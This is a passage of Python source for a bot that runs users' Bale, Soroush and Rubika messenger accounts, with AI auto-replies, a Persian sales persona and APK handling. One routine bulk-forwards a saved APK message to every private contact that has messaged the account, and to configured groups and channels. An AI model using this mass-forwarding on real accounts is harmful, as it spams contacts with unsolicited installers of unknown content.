    service = str(service or "").lower()

    # Primary event APIs verified from the current SPlusthon and Bale examples.
    try:
        if service == "soroush":
            from splusthon import events as ev
            on = getattr(client, "on", None)
            if on and hasattr(ev, "NewMessage"):
                deco = on(ev.NewMessage)
                if callable(deco):
                    deco(handler)
                    _TRX77_HANDLER_KEYS.add(key)
                    return True
    except Exception as exc:
        log.warning(f"TRX77 Soroush event registration primary failed: {_mask(str(exc))}")

    try:
        if service == "bale":
            from bale import events as ev
            on = getattr(client, "on", None)
            if on and hasattr(ev, "NewMessage"):
                deco = on(ev.NewMessage)
                if callable(deco):
                    deco(handler)
                    _TRX77_HANDLER_KEYS.add(key)
                    return True
    except Exception as exc:
        log.warning(f"TRX77 Bale event registration primary failed: {_mask(str(exc))}")

    # Rubpy / compatibility adapters.
    for api_name in ("on_message_updates", "on_message"):
        try:
            fn = getattr(client, api_name, None)
            if not fn:
                continue
            try:
                decorator = fn()
            except TypeError:
                decorator = fn(None)
            if callable(decorator):
                decorator(handler)
                _TRX77_HANDLER_KEYS.add(key)
                return True
        except Exception as exc:
            log.debug(f"TRX77 {service} {api_name} registration failed: {_mask(str(exc))}")

    try:
        add = getattr(client, "add_event_handler", None)
        if add:
            result = add(handler)
            if asyncio.iscoroutine(result):
                try:
                    asyncio.get_running_loop().create_task(result)
                except Exception:
                    pass
            _TRX77_HANDLER_KEYS.add(key)
            return True
    except Exception as exc:
        log.debug(f"TRX77 {service} add_event_handler failed: {_mask(str(exc))}")

    return False


# Replace the final registration helper so Bale/Soroush/Rubpy all use the hardened path.
def _register_ai_handler(client, uid, service, account_id: Optional[int] = None):
    aid = int(account_id or _account_id_for(uid, service) or 0)
    if not aid or client is None:
        return False
    ok = _trx77_register_handler(client, uid, service, aid)
    if ok:
        try:
            db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?", (now(), aid))
        except Exception:
            pass
        _trx_task_create(_trx_start_live_runner(client, service, uid, aid))
    return ok


# Final event handler: preserve seen/read, but never let that short-circuit AI reply.
async def _trx77_event_handler(event, uid, service, aid):
    try:
        client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
        if client:
            try:
                await _trx_maybe_mark_seen(client, event)
            except Exception:
                pass

        text_value = _trx77_event_text(event)
        if not text_value or text_value.startswith("/trx"):
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return

        binding = db.fetchone(
            "SELECT * FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1",
            (uid, aid),
        )
        if not binding:
            return

        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        memory = _trx_memory_load(uid, aid, peer_key, 16)
        prompt = (
            _trx_ai_system(uid, aid, "private_reply" if private else "group_reply", peer_key)
            + "\n"
            + TRX115_NATURAL_STYLE
            + "\nپاسخ را مستقیم، مرتبط و طبیعی بنویس."
        )
        messages = [{"role":"system", "content":prompt}] + memory + [
            {"role":"user", "content":text_value[:2500]}
        ]
        reply = await ai.chat(
            messages,
            uid=uid,
            account_id=aid,
            action_type="auto_reply",
            temperature=0.72,
            max_tokens=600,
        )
        if not reply:
            log.warning(f"TRX77 AI returned no reply for {service}/{aid}")
            return

        sent = await _trx77_send_reply(client, event, reply)
        if sent:
            _trx_memory_save(uid, aid, peer_key, "user", text_value)
            _trx_memory_save(uid, aid, peer_key, "assistant", reply)
            log_account_activity(aid, uid, "ai_reply", str(peer_key)[:200], 1)
        else:
            log_account_activity(aid, uid, "ai_reply", str(peer_key)[:200], 0)
            log.warning(f"TRX77 could not send AI reply for {service}/{aid}")
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"TRX77 event handler {service}/{aid}: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")


_trx_event_handler = _trx77_event_handler
_trx_event_handler_v9 = _trx77_event_handler
_trx_event_handler_v11 = _trx77_event_handler
_trx115_event_handler_v14 = _trx77_event_handler

# The final supervisor/restore routines resolve this symbol at execution time.
print(f"[TRX77] FINAL PATCH LOADED — build={TRX77_BUILD}")



# ═══════════════════════════════════════════════════════════════════
# TRX01 FINAL REQUEST PATCH
# Only the requested features are added here. No previous code is removed,
# commented out, or disabled. Existing handlers continue to exist underneath.
# ═══════════════════════════════════════════════════════════════════
TRX01_BUILD = "2026-09-23-request-v1"
TRX01_MINUTES_MIN = 20
TRX01_MINUTES_MAX = 999
TRX01_AI_ANALYSIS_DAILY_LIMIT = 3
TRX01_APK_DELAY_SECONDS = 7


def _trx01_ensure_schema():
    """Create only the small tables required by the new requested features."""
    try:
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx01_ai_analysis_quota (
                user_id INTEGER NOT NULL,
                day TEXT NOT NULL,
                count INTEGER NOT NULL DEFAULT 0,
                PRIMARY KEY(user_id, day)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx01_known_peers (
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                peer_type TEXT NOT NULL DEFAULT 'private',
                last_seen TEXT NOT NULL,
                PRIMARY KEY(user_id, account_id, platform, peer_id)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx01_apk_links (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                platform TEXT NOT NULL,
                target_account TEXT NOT NULL,
                apk_link TEXT NOT NULL,
                source_peer TEXT NOT NULL,
                source_message_id TEXT NOT NULL,
                file_name TEXT DEFAULT '',
                file_size INTEGER DEFAULT 0,
                set_at TEXT NOT NULL,
                apk_id INTEGER DEFAULT 0,
                UNIQUE(platform, target_account)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx01_apk_forwards (
                platform TEXT NOT NULL,
                target_account TEXT NOT NULL,
                customer_id TEXT NOT NULL,
                customer_type TEXT NOT NULL DEFAULT 'private',
                apk_link_id INTEGER NOT NULL,
                destination_id TEXT NOT NULL,
                destination_type TEXT NOT NULL,
                delivered_at TEXT NOT NULL,
                PRIMARY KEY(platform, target_account, customer_id)
            )
        """)
    except Exception as exc:
        log.error(f"TRX01 schema error: {_mask(str(exc))}")


def _trx01_day_utc():
    return time.strftime("%Y-%m-%d", time.gmtime())


def _trx01_analysis_quota(uid):
    _trx01_ensure_schema()
    day = _trx01_day_utc()
    row = db.fetchone(
        "SELECT count FROM trx01_ai_analysis_quota WHERE user_id=? AND day=?",
        (uid, day),
    )
    return int(row["count"] if row else 0)


def _trx01_take_analysis_slot(uid):
    _trx01_ensure_schema()
    day = _trx01_day_utc()
    db.execute(
        "INSERT OR IGNORE INTO trx01_ai_analysis_quota(user_id,day,count) VALUES(?,?,0)",
        (uid, day),
    )
    row = db.fetchone(
        "SELECT count FROM trx01_ai_analysis_quota WHERE user_id=? AND day=?",
        (uid, day),
    )
    current = int(row["count"] if row else 0)
    if current >= TRX01_AI_ANALYSIS_DAILY_LIMIT:
        return False, current
    db.execute(
        "UPDATE trx01_ai_analysis_quota SET count=count+1 WHERE user_id=? AND day=?",
        (uid, day),
    )
    return True, current + 1


def _trx01_service_label(platform, lang="fa"):
    names = {
        "fa": {"bale": "بله", "soroush": "سروش", "rubika": "روبیکا"},
        "en": {"bale": "Bale", "soroush": "Soroush", "rubika": "Rubika"},
    }
    key = "en" if str(lang or "fa").lower().startswith("en") else "fa"
    return names[key].get(str(platform or "").lower(), str(platform or ""))


def _trx01_platform_only_kb(lang, prefix):
    en = str(lang or "fa").lower().startswith("en")
    return IKB([
        [
            (trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale"),
            (trx_sc("🔴 Soroush") if en else "🔴 سروش", f"{prefix}:soroush"),
        ],
        [(trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")],
    ])


def _trx01_account_kb(uid, lang, prefix, platform, back="ai"):
    en = str(lang or "fa").lower().startswith("en")
    rows = db.fetchall(
        "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
        (uid, str(platform).lower()),
    )
    buttons = []
    for row in rows:
        label = f"#{row['id']} — {_mask_phone(row['phone'])}"
        buttons.append([(trx_sc(label) if en else label, f"{prefix}:{int(row['id'])}")])
    if not buttons:
        buttons.append([(
            trx_sc("No active account on this platform") if en else "❌ روی این پلتفرم اکانت فعالی ندارید",
            back,
        )])
    else:
        buttons.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت", back)])
    return IKB(buttons)


def _trx01_minutes_kb(lang, value=""):
    en = str(lang or "fa").lower().startswith("en")
    current = _trx77_norm_digits(value)
    return IKB([
        [("1", "time_pad:1"), ("2", "time_pad:2"), ("3", "time_pad:3")],
        [("4", "time_pad:4"), ("5", "time_pad:5"), ("6", "time_pad:6")],
        [("7", "time_pad:7"), ("8", "time_pad:8"), ("9", "time_pad:9")],
        [
            ("0", "time_pad:0"),
            ("⌫ پاک کردن" if not en else trx_sc("⌫ Delete"), "time_pad:backspace"),
            ("✅ تأیید" if not en else trx_sc("✅ Confirm"), "time_pad:confirm"),
        ],
    ])


def _trx01_minutes_text(lang, value="", error=""):
    en = str(lang or "fa").lower().startswith("en")
    current = _trx77_norm_digits(value)
    shown = current or "—"
    if en:
        lines = [
            trx_sc("⏱ Minutes input"),
            "",
            trx_sc(f"Selected number: {shown}"),
            "",
            trx_sc("Please enter the time using the buttons below."),
            trx_sc("The time must be at least 20 minutes and at most 999 minutes."),
        ]
        if error:
            lines.extend(["", trx_sc(error)])
        return "\n".join(lines)
    lines = [
        "⏱ **ورود زمان**",
        "",
        f"عدد وارد شده: **{shown}**",
        "",
        "لطفاً زمان مورد نظر رو با استفاده از دکمه‌های زیر وارد کن.",
        "زمان باید حداقل ۲۰ دقیقه و حداکثر ۹۹۹ دقیقه باشه.",
    ]
    if error:
        lines.extend(["", f"❌ {error}"])
    return "\n".join(lines)


def _trx01_minutes_validation(value):
    raw = _trx77_norm_digits(value).strip()
    if not raw:
        return False, 0, "لطفاً حداقل یک عدد وارد کن."
    if len(raw) < 2:
        return False, 0, "زمان باید دو رقمی یا بیشتر باشه."
    if not raw.isdigit():
        return False, 0, "زمان باید فقط شامل عدد باشه."
    number = int(raw)
    if number < TRX01_MINUTES_MIN:
        return False, 0, "زمان باید حداقل ۲۰ دقیقه باشه."
    if number > TRX01_MINUTES_MAX:
        return False, 0, "زمان باید حداکثر ۹۹۹ دقیقه باشه."
    return True, number, ""


async def _trx01_finish_task_minutes(uid, lang, chat_id, msg_id, s, minutes):
    next_state = dict(s or {})
    next_state["minutes"] = str(minutes)
    return await _trx77_finish_task_minutes(
        "time_pad:confirm", uid, lang, chat_id, msg_id, int(minutes), next_state
    )


def _trx01_apk_url_parts(raw):
    try:
        from urllib.parse import urlparse
        value = str(raw or "").strip().strip("<>[]() ")
        parsed = urlparse(value)
        if parsed.scheme not in {"http", "https"} or not parsed.netloc:
            return None, None, parsed
        parts = [x for x in parsed.path.split("/") if x]
        if not parts or not parts[-1].isdigit():
            return None, None, parsed
        return parts[-1], "/".join(parts[:-1]), parsed
    except Exception:
        return None, None, None


def _trx01_host_ok(platform, hostname):
    host = str(hostname or "").lower().split(":", 1)[0].rstrip(".")
    platform = str(platform or "").lower()
    if platform == "bale":
        return host == "ble.ir" or host.endswith(".ble.ir") or host == "bale.ai" or host.endswith(".bale.ai")
    if platform == "soroush":
        return host == "splus.ir" or host.endswith(".splus.ir") or host == "splus.me" or host.endswith(".splus.me")
    if platform == "rubika":
        return host == "rubika.ir" or host.endswith(".rubika.ir")
    return False


def _trx01_validate_apk_link(platform, raw):
    message_id, source_hint, parsed = _trx01_apk_url_parts(raw)
    if not parsed or not message_id:
        return False, "لینک باید لینک مستقیم خود پیام APK باشد، نه لینک دعوت.", None, None
    if not _trx01_host_ok(platform, parsed.hostname):
        return False, f"این لینک مال پلتفرم {_trx01_service_label(platform)} نیست. لطفاً لینک درست {_trx01_service_label(platform)} رو بفرست.", None, None
    try:
        mid = int(message_id)
        if mid <= 0:
            raise ValueError
    except Exception:
        return False, "شناسه پیام داخل لینک معتبر نیست.", None, None
    return True, "", mid, source_hint


async def _trx01_read_apk_source(uid, aid, platform, raw_link):
    ok, reason, message_id, source_hint = _trx01_validate_apk_link(platform, raw_link)
    if not ok:
        return False, reason, None
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, "اکانت انتخاب‌شده در دسترس نیست.", None
    try:
        parsed_peer = source_hint or ""
        msg_obj, peer = await _trx115_get_message_final(client, parsed_peer, message_id)
        if msg_obj is None:
            return False, "پیام منبع پیدا نشد؛ مطمئن شو اکانت انتخاب‌شده به کانال/چت منبع دسترسی داره.", None
        meta = _trx110_apk_meta(msg_obj)
        if not meta or not str(meta.get("filename", "")).lower().endswith(".apk"):
            return False, "این لینک به پیام APK اشاره نمی‌کنه؛ لینک خود پیام فایل APK رو بفرست.", None
        source_peer = str(peer or parsed_peer or "")
        return True, "", {
            "message_id": str(message_id),
            "source_peer": source_peer,
            "filename": str(meta.get("filename") or "app.apk")[:255],
            "size": int(meta.get("size") or 0),
            "link": str(raw_link).strip(),
        }
    except Exception as exc:
        log.warning(f"TRX01 source read failed {platform}/{aid}: {_mask(str(exc))}")
        return False, "نتونستم پیام APK رو از روی لینک بررسی کنم.", None


async def _trx01_save_apk_link(uid, aid, platform, raw_link):
    _trx01_ensure_schema()
    ok, reason, meta = await _trx01_read_apk_source(uid, aid, platform, raw_link)
    if not ok:
        return False, reason, None
    target_account = str(int(aid))
    old = db.fetchone(
        "SELECT * FROM trx01_apk_links WHERE platform=? AND target_account=?",
        (platform, target_account),
    )
    old_apk_id = int(old["apk_id"] or 0) if old else 0
    if old_apk_id:
        try:
            db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (old_apk_id, uid))
        except Exception:
            pass

    # Keep the existing apk_files/apk_sources representation as a metadata-only
    # mirror so the already-working scheduler can reuse the source message.
    cur = db.execute(
        "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) VALUES(?,?,?,?,?,1,?)",
        (uid, "", int(meta["message_id"]), meta["filename"], int(meta["size"]), now()),
    )
    apk_id = int(cur.lastrowid)
    db.execute(
        "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
        (apk_id, int(aid), platform, meta["source_peer"], meta["message_id"], now()),
    )
    cur2 = db.execute(
        "INSERT OR REPLACE INTO trx01_apk_links(platform,target_account,apk_link,source_peer,source_message_id,file_name,file_size,set_at,apk_id) VALUES(?,?,?,?,?,?,?,?,?)",
        (platform, target_account, meta["link"], meta["source_peer"], meta["message_id"], meta["filename"], int(meta["size"]), now(), apk_id),
    )
    link_id = int(cur2.lastrowid or 0)
    db.execute(
        "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
        (f"default_apk:{uid}", apk_id),
    )
    log_event(uid, "TRX01_APK_LINK_SAVED", f"{platform}:{aid}:{meta['link'][:300]}")
    log_account_activity(aid, uid, "apk_link_saved", str(meta["message_id"]), 1)
    return True, f"{meta['filename']}", {"id": link_id, **meta, "apk_id": apk_id}


def _trx01_apk_for_account(uid, aid):
    account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=?", (aid, uid))
    platform = str(account["service"] if account else "")
    row = db.fetchone(
        "SELECT * FROM trx01_apk_links WHERE platform=? AND target_account=?",
        (platform, str(aid)),
    )
    if row:
        return row
    return db.fetchone(
        "SELECT * FROM trx01_apk_links WHERE target_account=? ORDER BY id DESC LIMIT 1",
        (str(aid),),
    )


async def _trx01_forward_source(uid, aid, target, apk_id):
    try:
        return await _trx_forward_source_apk_v11(uid, aid, target, int(apk_id))
    except Exception as exc:
        log.warning(f"TRX01 source forward failed: {_mask(str(exc))}")
        return False, str(exc)


async def _trx01_bulk_forward_apk(uid, platform, aid, link_row):
    """Forward one source message only to known private contacts and configured destinations."""
    _trx01_ensure_schema()
    target_account = str(int(aid))
    link_id = int(link_row["id"])
    apk_id = int(link_row["apk_id"] or 0)
    private_rows = db.fetchall(
        "SELECT peer_id FROM trx01_known_peers WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' ORDER BY last_seen DESC",
        (uid, aid, platform),
    )
    configured = db.fetchall(
        "SELECT id,target,task_type,enabled FROM ai_tasks WHERE user_id=? AND account_id=? AND enabled=1 AND task_type IN ('group','channel') ORDER BY id DESC",
        (uid, aid),
    )
    destinations = []
    seen = set()
    for row in private_rows:
        dest = str(row["peer_id"])
        if dest and ("private", dest) not in seen:
            destinations.append((dest, "private"))
            seen.add(("private", dest))
    for row in configured:
        dest = str(row["target"] or "").strip()
        if dest and (str(row["task_type"]), dest) not in seen:
            destinations.append((dest, str(row["task_type"])))
            seen.add((str(row["task_type"]), dest))

    sent = 0
    already = 0
    failed = 0
    pv_sent = 0
    group_channel_sent = 0
    pv_already = 0
    for idx, (dest, dtype) in enumerate(destinations):
        customer_id = dest
        existing = db.fetchone(
            "SELECT * FROM trx01_apk_forwards WHERE platform=? AND target_account=? AND customer_id=?",
            (platform, target_account, customer_id),
        )
        if existing and int(existing["apk_link_id"] or 0) == link_id:
            already += 1
            if dtype == "private":
                pv_already += 1
            log_account_activity(aid, uid, "apk_forward_already_sent", dest[:200], 1)
            continue

        if idx > 0 and destinations:
            await asyncio.sleep(TRX01_APK_DELAY_SECONDS)
        ok, info = await _trx01_forward_source(uid, aid, dest, apk_id)
        if ok:
            sent += 1
            if dtype == "private":
                pv_sent += 1
            else:
                group_channel_sent += 1
            db.execute(
                "INSERT OR REPLACE INTO trx01_apk_forwards(platform,target_account,customer_id,customer_type,apk_link_id,destination_id,destination_type,delivered_at) VALUES(?,?,?,?,?,?,?,?)",
                (platform, target_account, customer_id, dtype, link_id, dest, dtype, now()),
            )
            log_event(uid, "TRX01_APK_FORWARDED", f"{platform}:{aid}:{dtype}:{dest}")
            log_account_activity(aid, uid, "apk_forward", dest[:200], 1)
        else:
            failed += 1
            log_event(uid, "TRX01_APK_FORWARD_FAILED", f"{platform}:{aid}:{dtype}:{dest}:{str(info)[:200]}")
            log_account_activity(aid, uid, "apk_forward", dest[:200], 0)

    return {
        "sent": sent,
        "already": already,
        "failed": failed,
        "total": len(destinations),
        "pv_sent": pv_sent,
        "group_channel_sent": group_channel_sent,
        "pv_already": pv_already,
    }


def _trx01_event_is_private(event):
    try:
        return bool(getattr(event, "is_private", False)) or _trx_is_private_event(event)
    except Exception:
        return _trx_is_private_event(event)


def _trx01_store_known_peer(uid, aid, platform, event):
    try:
        if not _trx01_event_is_private(event):
            return
        peer = _trx_peer_key(event, "")
        if not peer:
            return
        _trx01_ensure_schema()
        db.execute(
            "INSERT OR REPLACE INTO trx01_known_peers(user_id,account_id,platform,peer_id,peer_type,last_seen) VALUES(?,?,?,?,?,?)",
            (uid, aid, str(platform), str(peer), "private", now()),
        )
    except Exception as exc:
        log.debug(f"TRX01 known peer save failed: {_mask(str(exc))}")


def _trx01_normalize_intent(text_value):
    text = str(text_value or "").strip().lower()
    text = text.replace("\u200c", " ")
    return re.sub(r"\s+", " ", text)


def _trx01_detect_intent(text_value):
    text = _trx01_normalize_intent(text_value)
    apk_words = (
        "فایل", "برنامه", "برنامت", "اپ", "اپلیکیشن", "اپلیکشن", "application",
        "بازی", "پروژت", "پروژه", "فایل نصبی", "لینک نصب", "نصب", "apk"
    )
    send_words = ("بفرست", "بده", "بیار", "ارسال", "بفرستش")
    apk_requested = any(w in text for w in apk_words) and (
        any(w in text for w in send_words) or text in apk_words or
        "لینک نصب" in text or "لینک بده" in text
    )
    if any(x in text for x in (
        "برنامه رو بفرست", "اپلیکیشن رو بفرست", "فایل رو بده", "فایل نصبی",
        "لینک نصب بده", "لینک بده", "برنامت", "برنامه", "بازی"
    )):
        apk_requested = True
    destination = "current"
    if "پیوی" in text or "پی وی" in text or re.search(r"\bpv\b", text):
        destination = "private"
    elif "گروه" in text:
        destination = "group"
    elif "چنل" in text or "کانال" in text:
        destination = "channel"
    elif "بیا اینجا" in text or "بیا چت" in text:
        destination = "current"
    return {"apk": bool(apk_requested), "destination": destination, "confidence": 0.97 if apk_requested else 0.45}


def _trx01_sales_system(uid, aid, mode, extra=""):
    """Requested Persian persona/sales behavior, with factuality guardrails."""
    base = _trx_ai_system(uid, aid, mode, extra)
    return base + r"""

PERSONA / CONVERSATION RULES:
- Use natural Persian conversational language; warm, friendly and concise.
- Use emojis only when they fit naturally.
- Never claim to be a human and never invent features, prices, guarantees, user counts, reviews, installations or test results.
- Do not use robotic government-style wording.
- Do not repeatedly say the same sentence.
- Understand intent before producing the reply. Prefer the requested action when the platform API and saved source make it possible.
- When the user's request is ambiguous, ask one short clarifying question instead of pretending.
- Greeting: if this is the first message and no useful memory exists, greet briefly and ask what they need.
- Discovery: understand what the user needs before making a recommendation when the need is not clear.
- Pitch: explain 2–3 real benefits from PRODUCT KNOWLEDGE only, then provide the APK/source action when available.
- Objections: acknowledge the concern and give factual reassurance from PRODUCT KNOWLEDGE; never fabricate a guarantee or claim that risk is zero.
- Close: after an approved APK action, confirm briefly and mention the channel/group only when that information is actually available.
- Follow-up: only send follow-ups when the existing project flow explicitly triggers them.

INTENT MAPPING:
- "بیا اینجا فایل رو بفرست" => send the saved APK source to the current chat when possible.
- "بفرست پیوی" => current/private chat.
- "توی گروه بفرست" => group destination if a concrete authorized group target exists.
- "لینک بده" => locate the configured APK source; do not invent a download URL.
- "برنامه رو بفرست", "اپلیکیشن رو بده", "فایل رو بده", "برنامه", "بازی", "فایل نصبی" => APK request when context supports it.
- "بیا چت" => continue the current conversation.

HARD ACTION RULE:
- If an APK source message is configured for this account, forwarding must use the platform's native forward operation; never download, re-upload, copy, or recreate the file.
- If the source is missing, clearly explain that the APK source is not configured and ask the user/admin to configure it; do not fabricate a link.
- Any promotional statement must stay inside the facts in PRODUCT KNOWLEDGE / saved metadata.
"""


async def _trx01_ai_analysis_snapshot(uid):
    _trx01_ensure_schema()
    rows = db.fetchall(
        "SELECT aa.account_id, aa.action, aa.target, aa.success, aa.created_at, a.service "
        "FROM account_activity aa LEFT JOIN accounts a ON a.id=aa.account_id "
        "WHERE aa.user_id=? ORDER BY aa.id DESC LIMIT 120",
        (uid,),
    )
    tasks = db.fetchall(
        "SELECT account_id,task_type,target,interval_seconds,enabled,run_count,last_run FROM ai_tasks WHERE user_id=? ORDER BY id DESC LIMIT 60",
        (uid,),
    )
    usage = db.fetchall(
        "SELECT provider_id,account_id,action_type,tokens,success,created_at FROM ai_usage WHERE user_id=? ORDER BY id DESC LIMIT 80",
        (uid,),
    )
    memories = db.fetchall(
        "SELECT account_id,peer_key,role,text,created_at FROM ai_memory WHERE user_id=? ORDER BY id DESC LIMIT 120",
        (uid,),
    )
    peers = db.fetchall(
        "SELECT account_id,platform,peer_id,last_seen FROM trx01_known_peers WHERE user_id=? ORDER BY last_seen DESC LIMIT 120",
        (uid,),
    )
    def pack(rows, fields, limit_chars):
        lines=[]
        for r in rows:
            lines.append(" | ".join(str(r[f] if r[f] is not None else "") for f in fields))
        return "\n".join(lines)[:limit_chars]
    return (
        "ACCOUNT ACTIVITY:\n" + pack(rows, ["account_id","service","action","target","success","created_at"], 9000) +
        "\n\nTASKS:\n" + pack(tasks, ["account_id","task_type","target","interval_seconds","enabled","run_count","last_run"], 6000) +
        "\n\nAI USAGE:\n" + pack(usage, ["provider_id","account_id","action_type","tokens","success","created_at"], 6000) +
        "\n\nRECENT CONVERSATION MEMORY:\n" + pack(memories, ["account_id","peer_key","role","text","created_at"], 12000) +
        "\n\nKNOWN PRIVATE PEERS:\n" + pack(peers, ["account_id","platform","peer_id","last_seen"], 5000)
    )


async def _trx01_analysis_answer(uid, question):
    snapshot = await _trx01_ai_analysis_snapshot(uid)
    system = _trx_ai_system(
        uid, 0, "analysis",
        "Use only the database snapshot below. Distinguish observed facts from inference. "
        "Never claim that users trust/install something unless the recorded data supports it. "
        "When data is insufficient, say exactly what is missing. Keep the answer compact and useful.\n\n"
        + snapshot[:33000],
    )
    return await ai.chat(
        [
            {"role": "system", "content": system + "\n" + _trx01_sales_system(uid, 0, "analysis", "")},
            {"role": "user", "content": str(question or "").strip()[:2500]},
        ],
        uid=uid, account_id=None, action_type="ai_analysis", temperature=0.35, max_tokens=700,
    )


def _trx01_admin_ai_button_menu(base_menu):
    try:
        data = dict(base_menu or {})
        rows = [list(row) for row in data.get("inline_keyboard", [])]
        if any(any(btn.get("callback_data") == "ai.analysis" for btn in row) for row in rows):
            return data
        home=[]
        kept=[]
        for row in rows:
            if any(btn.get("callback_data") == "menu" for btn in row):
                home.append(row)
            else:
                kept.append(row)
        kept.append([
            {"text":"🔎 تحلیل AI","callback_data":"ai.analysis"},
            {"text":"📤 ارسال APK","callback_data":"ai.apk.send"},
        ])
        kept.extend(home)
        data["inline_keyboard"]=kept
        return data
    except Exception:
        return base_menu


_TRX01_AI_ADVANCED_MENU_BASE = ai_advanced_menu

def ai_advanced_menu(lang, uid):
    return _trx01_admin_ai_button_menu(_TRX01_AI_ADVANCED_MENU_BASE(lang, uid))


# ───────────────────────────────────────────────────────────────────
# APMix + generic OpenAI-compatible provider hardening
# ───────────────────────────────────────────────────────────────────
async def _trx01_list_models(base_url, api_key):
    await ai.start()
    base = _trx77_clean_base_url(base_url)
    if not base or base in {"-", "/skip"}:
        return False, []
    try:
        async with ai.session.get(
            base.rstrip("/") + "/models",
            headers={"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},
        ) as resp:
            raw=await resp.text()
            if resp.status>=400:
                return False, raw[:1200]
            data=json.loads(raw)
            items=data.get("data") if isinstance(data,dict) else data
            ids=[]
            for item in items or []:
                mid=item.get("id") if isinstance(item,dict) else item
                if mid: ids.append(str(mid).strip())
            return bool(ids), list(dict.fromkeys(ids))
    except Exception as exc:
        return False,_mask(str(exc))


def _trx01_pick_model(models, preferred=""):
    ids=[str(x).strip() for x in (models or []) if str(x).strip()]
    pref=str(preferred or "").strip()
    if pref and pref in ids:
        return pref
    def score(mid):
        low=mid.lower(); value=0
        if "deepseek" in low: value+=1000
        if "free" in low: value+=400
        if "flash" in low: value+=100
        if "chat" in low: value+=50
        if any(x in low for x in ("reasoner","thinking")): value-=30
        if "gpt-5.6-luna" in low: value-=10000
        return value
    return sorted(ids,key=lambda x:(-score(x),x.lower()))[0] if ids else None


async def _trx01_provider_finalize(uid,name,key_value,url_value,preferred_model=""):
    url=_trx77_clean_base_url(url_value)
    lname=str(name or "").lower(); low=str(url or "").lower()
    if "apmix" in lname or "api.apmix.ai" in low:
        provider="apmix"; url=TRX77_APMIX_BASE
    elif "groq" in lname or "groq.com" in low:
        provider="groq"; url="https://api.groq.com/openai/v1"
    elif "cerebras" in lname or "cerebras.ai" in low:
        provider="cerebras"; url="https://api.cerebras.ai/v1"
    elif "atria" in lname or "atria-asi.ai" in low:
        provider="atria"; url="https://api.atria-asi.ai/v1"
    elif "gapgpt" in lname or "gapgpt" in low:
        provider="gapgpt"; url=url or "https://api.gapgpt.app/v1"
    else:
        provider="openai"; url=url or "https://api.openai.com/v1"

    if provider=="apmix" or not preferred_model:
        ok,result=await _trx01_list_models(url,key_value)
        model=_trx01_pick_model(result,preferred_model) if ok else None
        if not model:
            return False,f"Provider ثبت نشد؛ مدل قابل‌استفاده برای این API Key پیدا نشد.\n{result if isinstance(result,str) else ''}"
    else:
        model=str(preferred_model).strip()
    if db.fetchone("SELECT id FROM ai_providers WHERE name=?",(name,)):
        return False,"نام Provider از قبل وجود دارد."
    cur=db.execute(
        "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,error_count,last_error,created_at) VALUES(?,?,?,?,?,?,?,0,'',?)",
        (name,provider,url,model,key_value,100,"unknown",now()),
    )
    pid=cur.lastrowid
    ok,info=await ai.test(pid)
    if ok:
        return True,f"✅ Provider #{pid} ثبت و تست شد.\n🧠 Model: {model}\n\n{str(info)[:400]}"
    db.execute("UPDATE ai_providers SET status='failed',last_error=? WHERE id=?",(str(info)[:1500],pid))
    return False,f"Provider ذخیره شد ولی تست ناموفق بود:\n{str(info)[:1000]}"


async def _trx01_ai_call_one(self,prov,messages,temperature=0.7,max_tokens=600):
    provider=str(prov["provider"] or "").lower().strip()
    base=str(prov["base_url"] or "").rstrip("/")
    apmix=provider=="apmix" or _trx77_apmix_like(str(prov["name"] or ""),base)
    if apmix:
        row=db.fetchone("SELECT * FROM ai_providers WHERE id=?",(prov["id"],)) or prov
        ok,models=await _trx01_list_models(TRX77_APMIX_BASE,str(row["api_key"] or ""))
        if not ok or not models:
            db.execute("UPDATE ai_providers SET status='failed',error_count=error_count+1,last_error=? WHERE id=?",(str(models)[:1500],prov["id"]))
            return None
        model=_trx01_pick_model(models,str(row["model"] or ""))
        if not model: return None
        db.execute("UPDATE ai_providers SET provider='apmix',base_url=?,model=? WHERE id=?",(TRX77_APMIX_BASE,model,prov["id"]))
        fresh=db.fetchone("SELECT * FROM ai_providers WHERE id=?",(prov["id"],)) or row
        return await _trx77_ai_call_one(self,fresh,messages,temperature,max_tokens)

    if base in {"","-","/skip"}: return None
    configured=str(prov["model"] or "").strip()
    models=[]
    for model in ([configured] if configured else []) + list(TRX_PROVIDER_MODELS.get(provider,[])):
        if model and model not in models: models.append(model)
    if not models:
        ok,result=await _trx01_list_models(base,str(prov["api_key"] or ""))
        if ok: models=list(result)
    if not models: return None
    headers={"Authorization":f"Bearer {prov['api_key']}","Content-Type":"application/json"}
